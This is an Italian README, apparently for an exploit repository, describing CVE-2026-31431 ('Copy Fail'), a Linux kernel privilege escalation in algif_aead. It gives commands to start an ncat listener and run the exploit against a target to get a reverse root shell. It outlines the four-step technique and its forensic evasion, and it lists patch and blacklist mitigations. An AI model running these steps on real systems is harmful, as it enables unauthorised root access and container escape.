🔴 CVE-2026-31431 — "Copy Fail"

Un Bug Logico del Kernel Linux Vecchio di 9 Anni che Concede Root in Secondi

Panoramica

Copy Fail è una vulnerabilità di escalation dei privilegi locale (LPE) ad alta gravità nel sottosistema crittografico del kernel Linux (algif_aead). Scoperta e divulgata da Theori (tramite il loro strumento di ricerca di vulnerabilità assistito da IA Xint Code) il 29 aprile 2026, la falla consente a qualsiasi utente locale non privilegiato di scrivere 4 byte controllati nella cache delle pagine di qualsiasi file leggibile — e sfruttare ciò per ottenere root su praticamente ogni distribuzione Linux principale rilasciata dal 2017.

Un proof-of-concept funzionante è di soli ~732 byte di Python.

Sfruttamento

1. Avvia il listener Ncat

sudo ncat -lvnp PORT

2. Esegui l'exploit sulla macchina target

# Usando lo script Python
python3 CVE-2026-31431-Exploit.py IP PORT

# Binario compilato
chmod +x CVE-2026-31431-Exploit
./CVE-2026-31431-Exploit IP PORT

🧬 Riepilogo Tecnico

Come Funziona l'Exploit (4 Passaggi)

1. Apri un socket AF_ALG e associalo a authencesn(hmac(sha256),cbc(aes))
2. Esegui splice delle pagine di un binario setuid leggibile nel socket
3. La scrittura scratch AEAD del kernel sovrascrive 4 byte nella cache delle pagine di quel binario
4. Esegui il binario setuid ora corrotto → shell root

Perché è Pericoloso

• Nessuna finestra di gara — deterministico, funziona sempre
• Nessun offset del kernel / bypass KASLR necessario
• Lo stesso exploit funziona su tutte le distro — Ubuntu, RHEL, Amazon Linux, SUSE, Rocky, ecc.
• Fuga dal container — la cache delle pagine è condivisa; una scrittura dall'interno di un container influisce sull'host
• Nessuna modifica al disco — i monitor di integrità dei file (AIDE, OSSEC, ecc.) non lo rileveranno
• Nessuna traccia forense su disco

🎯 Versioni Interessate

Distribuzioni Confermate Vulnerabili

• Ubuntu 24.04 LTS
• Amazon Linux 2023
• RHEL 10.1
• SUSE 16
• Rocky Linux 9.7

Essenzialmente ogni distribuzione Linux principale rilasciata dal 2017 è interessata.

🛡️ Mitigazione

1. Patch (Consigliata)

Aggiorna il tuo kernel a una versione contenente il commit di correzione fafe0fa2995a. La maggior parte delle distribuzioni principali ha rilasciato o sta rilasciando pacchetti kernel aggiornati.

2. Soluzioni Temporanee

Se non puoi applicare la patch immediatamente:

• Blocca la creazione di socket AF_ALG tramite policy seccomp
• Metti in blacklist il modulo algif_aead:
  root@kitploit:~

  echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
  sudo modprobe -r algif_aead 2>/dev/null
  

⚠️ Disclaimer

Questo repository è solo a scopo educativo e difensivo. Le informazioni qui contenute hanno lo scopo di aiutare i team di sicurezza a comprendere, rilevare e mitigare CVE-2026-31431. Segui sempre le pratiche di divulgazione responsabile e le leggi applicabili.

⭐ Metti una stella a questo repo per rimanere aggiornato su patch e linee guida di rilevamento.